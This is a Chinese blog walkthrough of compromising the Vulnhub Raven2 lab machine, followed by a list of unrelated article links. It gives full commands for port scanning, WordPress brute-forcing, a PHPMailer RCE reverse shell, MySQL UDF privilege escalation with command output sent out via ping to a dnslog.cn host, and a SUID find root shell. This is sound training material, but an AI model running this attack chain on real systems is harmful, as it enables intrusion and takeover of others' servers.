当前位置: 首页 > news >正文

【Vulnhub系列】Vulnhub_Raven2靶场渗透(原创)

【Vulnhub系列靶场】Vulnhub_Raven2 渗透

原文转载已经过授权
原文链接:Lusen的小窝 - 学无止尽,不进则退 (lusensec.github.io)

一、环境准备

从网盘下载该靶机,在vm中选择【打开】

image-20240206132421898

然后设置好存储路径,开机后检查靶机的网络连接模式是否为【NET】模式。

二、信息收集

1、主机发现

nmap.exe -sn 192.168.31.*

image-20240205150548983

2、端口扫描

1、先进行粗略的扫描

nmap.exe -F 192.168.31.60

image-20240205150656838

2、再进行精细化扫描

nmap.exe -sT --min-rate 10000 -p- 192.168.31.60
nmap.exe -sU --min-rate 10000 -p- 192.168.31.60

image-20240205154034080

image-20240205151907050

3、进行全扫描和漏洞探测

nmap.exe -sT -sV -sC -O -p 22,80,111,54798,58157 192.168.31.60 -oA AllPortnmap.exe --script=vuln -p 22,80,111,54798,58157 192.168.31.60 -oA VulnPort

image-20240205154417067

确认是Linux操作系统,并且开放了111的rpcbind服务,有关这个服务可以上网搜索,也有很多该服务相关漏洞,后期是一个可利用的点。

image-20240205154452871

发现使用了wordpress框架,进行了目录的扫描,还发现有一个csrf 的漏洞,不过这个漏洞在个人渗透过程中起到的作用微乎甚微。

3、web目录探测

dirsearch.cmd -u http://192.168.31.60 -x 404,403	#过滤404、403

image-20240205151054134

看到有wordpress,疑似wordpress搭建的博客网站。

4、web框架探测

whatweb http://192.168.31.60	#在kali中用whatweb进行识别

image-20240205151433137

并未探测到wordpress框架,那我们去探测wordpress这个路径

image-20240205151835831

可以看到确定使用了wordpress框架。

三、获得shell立足点

1、敏感信息查看

1、.DS_Store文件:是macOS 操作系统的文件类型。它是由 Finder(Mac 上的文件管理器)创建的隐藏文件,用于存储有关特定文件夹的视图选项和元数据。

可以用GitHub的工具对其进行解析:https://github.com/gehaxelt/Python-dsstore

python main.py .DS_Store

image-20240205155926915

并没有发现有用的信息

2、Vendor路径信息收集

vendor/PATH:发现了一个flag1

image-20240205160305176

在/vendor/readme.md中发现PHPMailer,百度百科解释:是一个用于发送电子邮件的PHP函数包。直接用PHP就可以发送,无需搭建复杂的Email服务。

image-20240205171505826

/vendor/VERSION发现版本为5.2.16

image-20240205171505826

有关这个版本的漏洞也有很多

image-20240205171639908

3、wordress框架信息收集

继续将目标转移至 wordpress目录框架,对该目录再进行一次目录扫描

image-20240205160829021

我们访问wp-admin的时候发生了错误:

image-20240205162944210

一而再三的确认是wordpress 框架,这里不应该报错,可能是hosts解析。

我们打开系统组件中的hosts 文件

image-20240205163105055

添加如下本地hosts 文件的IP解析

image-20240205162546551

重新打开即可。

image-20240205163213369

wp-content/uploads路径下发现了flag3

image-20240205165525290

4、wordpress框架利用工具-wpscan

wpscan是专门针对wordpress利用的工具:

1、用户名扫描

wpscan --url http://192.168.31.60/wordpress/ --enumerate u

image-20240205171928756

有steven michael两个用户,将其保存在user.txt文件中

2、进行密码爆破

我们可以用密码生成工具cewl 针对wordpress生成专门的密码

cewl http://192.168.31.60/wordpress/ -w pass.txt

image-20240205172053643

之后在进行爆破

wpscan --url "http://192.168.31.60/wordpress/" -P "pass.txt" --usernames user.txt

image-20240205172154945

image-20240205172249849

为了增加爆破的概率,我在用户名中增加了admin、root两个用户,但是依然爆破失败。我们可以用自己的字典多次尝试。以及利用wpscan针对wordpress 的主题和插件漏洞进行扫描利用。

5、getshell

wordpress利用较为困难,我们将目光再转向PHPMailer。

我们优先使用如下几个远程代码执行脚本

image-20240205172633118

将四个脚本复制到本路径下

cp php/webapps/40968.sh /c/Users/Administrator/Desktop/test/script/

image-20240205172851755

在40974.py中,我们修改脚本内容如下,同时在本地起一个4444的监听

image-20240205190108255

然后执行该脚本,访问contact.php文件,会生成shell.php 文件,内容则是反弹shell,再访问shell.php,则拿到shell

image-20240205190259052

四、提权至root

1、翻找敏感文件

1、数据库的账号密码

我们知道在wordpress 框架下可以找到数据库的账号密码,在wp-config.php 文件中

image-20240206133212310

拿到MYSQL 数据库的账号密码:root:R@v3nSecurity

还是一个高权限的账号密码,可能存在数据库提权。

2、/etc/passwd文件

找到两个普通用户michael、steven

这两个用户名跟用wpscan工具扫描出来的wordpress用户名一样。

3、/home 目录

普通用户目录下也一无所获

image-20240206133656277

4、用find 命令查找高权限文件

find / -perm -u=s -type f 2>/dev/null

image-20240206134503358

并没有找到能提权的文件

2、数据库UDF提权

我们此时有数据库的高权限用户,可以尝试数据库提权

1、我们先进入交互式shell,然后再进行数据库连接

shell=/bin/bash script -q /dev/null

image-20240206135019626

2、查询是否满足UDF提权条件

select user();
select version();
show global variables like 'secure%';
show variables like 'plugin%';

image-20240206135517495

满足所有条件

3、查找udf提权的脚本并复制到本目录

searchsploit.cmd udf
cp exploits/linux/local/1518.c /c/Users/Administrator/Desktop/test

image-20240206141513845

image-202402061414457614、在本地进行编译

gcc -g -c 1518.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o 111.so 1518.o -lc

image-20240206141905939

5、上传至靶机/tmp目录

python3 -m http.server
#在靶机
cd /tmp
wget http://192.168.31.50:8000/111.so

6、之后按照udf提权姿势操作

use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/111.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/111.so';
create function do_system returns integer soname '111.so';
select * from mysql.func;

7、利用dnslog平台进行测试

select do_system("whoami")

如果不进行dnslog回显,结果将是如下:

image-20240206151817786

我们利用dnslog 平台进行回显:

select do_system("ping -c 1 `whoami`.hhk1dh.dnslog.cn");

image-20240206152819346image-20240206152833163

image-20240206152843521

3、获取root权限

这个时候我们可以以root权限执行任何命令,我们给find 命令SUID权限,然后通过find进行提权

1、确认find 的位置

select do_system("ping -c 1 `which find`.hhk1dh.dnslog.cn");

image-20240206153227992

2、给find SUID权限

select do_system("chmod u+s /usr/bin/find");

3、find 命令进行提权

find . -exec "/bin/sh" \;

image-20240206154445556

原文转载已经过授权
更多文章请访问原文链接:Lusen的小窝 - 学无止尽,不进则退 (lusensec.github.io)

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • Sentinel隔离、降级、授权规则详解
  • npm国内淘宝镜像registry镜像过期
  • Lombok注解之@SneakyThrows作用
  • Spark实时(六):Output Sinks案例演示
  • 深入理解 Redis 批量操作和事务机制:从原理到 Spring Data Redis 实践
  • 解决WordPress文章引用的图片不显示问题
  • 源/目的检查开启导致虚拟IP背后的LVS无法正常访问
  • GEE数据:Sentinel-2数据更新新增两个云和雪波段(MSK_CLDPRB和MSK_SNWPRB)
  • 从0开始的HarmonyOS NEXT —— 认识基础架构到hello world页面添加(第一章)
  • 「数组」C++STL库vector(动态数组|向量)全部函数介绍
  • 二进制部署k8s集群之master节点和etcd数据库集群(上)
  • Redis#架构师面试题
  • node+mysql+layui+ejs实现左侧导航栏菜单动态显示
  • STM32 | 看门狗IWDG喂狗实战
  • ChatGPT秘籍:如何用AI阅读文献,提升你的学术效率
  • IE9 : DOM Exception: INVALID_CHARACTER_ERR (5)
  • Angular 2 DI - IoC DI - 1
  • ESLint简单操作
  • Git的一些常用操作
  • HTTP--网络协议分层,http历史(二)
  • Java深入 - 深入理解Java集合
  • Nodejs和JavaWeb协助开发
  • October CMS - 快速入门 9 Images And Galleries
  • SwizzleMethod 黑魔法
  • Vue.js-Day01
  • 编写符合Python风格的对象
  • 表单中readonly的input等标签,禁止光标进入(focus)的几种方式
  • 服务器从安装到部署全过程(二)
  • 机器学习中为什么要做归一化normalization
  • 码农张的Bug人生 - 见面之礼
  • 排序(1):冒泡排序
  • 浅谈JavaScript的面向对象和它的封装、继承、多态
  • 我是如何设计 Upload 上传组件的
  • 《码出高效》学习笔记与书中错误记录
  • kubernetes资源对象--ingress
  • ​草莓熊python turtle绘图代码(玫瑰花版)附源代码
  • ​软考-高级-信息系统项目管理师教程 第四版【第23章-组织通用管理-思维导图】​
  • # Spring Cloud Alibaba Nacos_配置中心与服务发现(四)
  • #QT(一种朴素的计算器实现方法)
  • #Z0458. 树的中心2
  • #传输# #传输数据判断#
  • #我与Java虚拟机的故事#连载13:有这本书就够了
  • (5)STL算法之复制
  • (AngularJS)Angular 控制器之间通信初探
  • (C)一些题4
  • (C++二叉树05) 合并二叉树 二叉搜索树中的搜索 验证二叉搜索树
  • (pojstep1.1.2)2654(直叙式模拟)
  • (PySpark)RDD实验实战——求商品销量排行
  • (八十八)VFL语言初步 - 实现布局
  • (附源码)计算机毕业设计ssm基于B_S的汽车售后服务管理系统
  • (附源码)计算机毕业设计SSM疫情居家隔离服务系统
  • (三)docker:Dockerfile构建容器运行jar包
  • (四)库存超卖案例实战——优化redis分布式锁
  • (转)从零实现3D图像引擎:(8)参数化直线与3D平面函数库
  • (转)详解PHP处理密码的几种方式